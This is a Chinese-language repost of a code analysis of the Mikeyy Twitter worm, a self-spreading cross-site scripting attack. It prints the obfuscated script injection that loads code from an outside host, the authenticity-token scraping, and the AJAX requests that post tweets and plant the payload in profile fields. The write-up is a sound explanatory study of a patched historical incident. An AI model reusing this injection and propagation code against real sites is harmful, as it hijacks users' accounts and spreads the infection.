Mikeyy Twitter 蠕虫的代码研究
我是一个活跃的 twitter 用户- 当我看到许多 twitter 配置文件受到了 Mikeyy 蠕虫的影响时,我想看看蠕虫背后的代码。这篇文章将帮助您了解蠕虫的基本工作原理。首先要做的是获取蠕虫的代码。为了确保我自己不会被感染,我使用 Web Developer 扩展禁用了 JavaScript。现在我必须访问被感染的 Twitter 个人资料。我去了公共时间线并得到了一个。您注意到的第一件事是配置文件名称已更改 - 更改为...<script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97,106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62));</script>在访问用户配置文件时,这个名称被放在 twitter 页面的 <title> 标签中 - 即脚本标签被注入到文档的 HEAD 中 - 并被执行。要找到有效负载是什么,只需发出警报而不是“document.write”...alert(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97,106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62))原来,它的...<script src="http://www.stalkdaily.com/ajax.js"></script>
基本上,蠕虫会在当前文档的上下文中下载并执行第 3 方 javascript 代码。是时候获取 JavaScript 文件了 - ' wget http://www.stalkdaily.com/ajax.js'3个功能令我惊讶的是,代码非常简单——只有 3 个函数——127 行代码。我得到的代码是蠕虫的第 4 个版本。您将在本文末尾获得完整代码。新华康
标准 XMLHttpRequest 函数 - 用于进行 Ajax 调用
网址
基本上, encodeURIComponent() 具有一些附加功能。
等待
这就是所有伤害的原因......
蠕虫的wait()var content = document.documentElement.innerHTML;
authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken;首先,从源代码中获取身份验证令牌。Twitter源代码有这个......twttr.form_authenticity_token = 'd56543953fd73b4fc193ec2c1ed8361097da39c3';正则表达式获取身份验证令牌 - 这是发布任何更改所必需的。该蠕虫在其有效载荷中包含 7 个短语 - 如果您被感染,它将在您的帐户上发布这些短语之一作为推文...var randomUpdate=new Array();
randomUpdate="Twitter, freaking fix this already. >:[ - Mikeyy";
randomUpdate="Twitter, your community is going to be mad at you... - Mikeyy";
randomUpdate="This worm is getting out of hand Twitter. - Mikeyy";
randomUpdate="RT!! 4th gen #Mikeyy worm on the loose! Click here to protect yourself: http://tinyurl.com/";
randomUpdate="This is all Twitters fault! Don't blame Mikeyy!!";
randomUpdate="ALERT!! 4TH GEN MIKEYY WORM, USE NOSCRIPT: http://bit.ly/";
randomUpdate="How TO remove new Mikeyy worm! RT!!http://bit.ly/";它随机选择这些短语之一 - 并发布它。var randomXSS=new Array();
randomXSS = '"><title><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97,106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62));</script>';这些台词让我困惑了一段时间——这毫无意义。为什么把它做成一个数组——为什么不只是一个字符串?然后它击中了我 - 作者打算将脚本放在多个位置 - 这样即使其中一个站点遭到破坏并被删除,其他位置仍然能够交付脚本。但最后,作者只用了一个位置。最后,我们来到了蠕虫的最后一部分 - 脚本发布所有新设置的部分......var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user="+xss+"&user=0&commit=Save");
var ajaxConn2 = new XHConn();
ajaxConn2.connect("/account/profile_settings", "POST", "authenticity_token="+authtoken+"&user=false&tab=colors&profile_theme=1&user="+urlencode('## Mikeyy')+"&user=Mikeyy+++++++++++++++++++++++++++++++++++++&commit=save changes");
var ajaxConn3 = new XHConn();
ajaxConn3.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user="+xss+"&user=Mikeyy+++++++++++++++++++++++++++++++++++++&user=0&commit=Save");
var ajaxConn4 = new XHConn();
ajaxConn4.connect("/account/profile_settings", "POST", "authenticity_token="+authtoken+"&user=false&tab=colors&profile_theme=1&user="+urlencode('## Mikeyy')+"&user="+xss+"&commit=save changes");
[*]首先,它将 Twitter 上的状态更新为上述 7 个短语之一。
[*]接下来,它更改当前用户的名称以包含蠕虫负载。现在,访问此配置文件的每个人也会感染该蠕虫。
[*]然后它将背景颜色更改为 '## Mikeyy' - 并将 url 更改为 'Mikeyy '。这样做没有意义 - 不知道作者为什么选择这样做。再说一次,不要忘记作者是一个17岁的孩子。
[*]它多次更改名称、背景和 url - 同样,不知道为什么这样做。
最后,twitter 采取措施——它转义了标题中的字符——这标志着蠕虫的死亡。守则感谢GitHub 上的@supyo,已经提供了四个版本的 Mikeyy 蠕虫代码......
[*]V2 - 4 月 11 日,x.js
[*]V3 - 4 月 12 日
[*]V4 - 4 月 13 日,ajax.js - 上面的代码研究是在这个版本上完成的。
[*]V5 - 4 月 13 日,ajax.js
https://openjs.com/articles/misc/mikeyy_twitter_worm_code.php
页:
[1]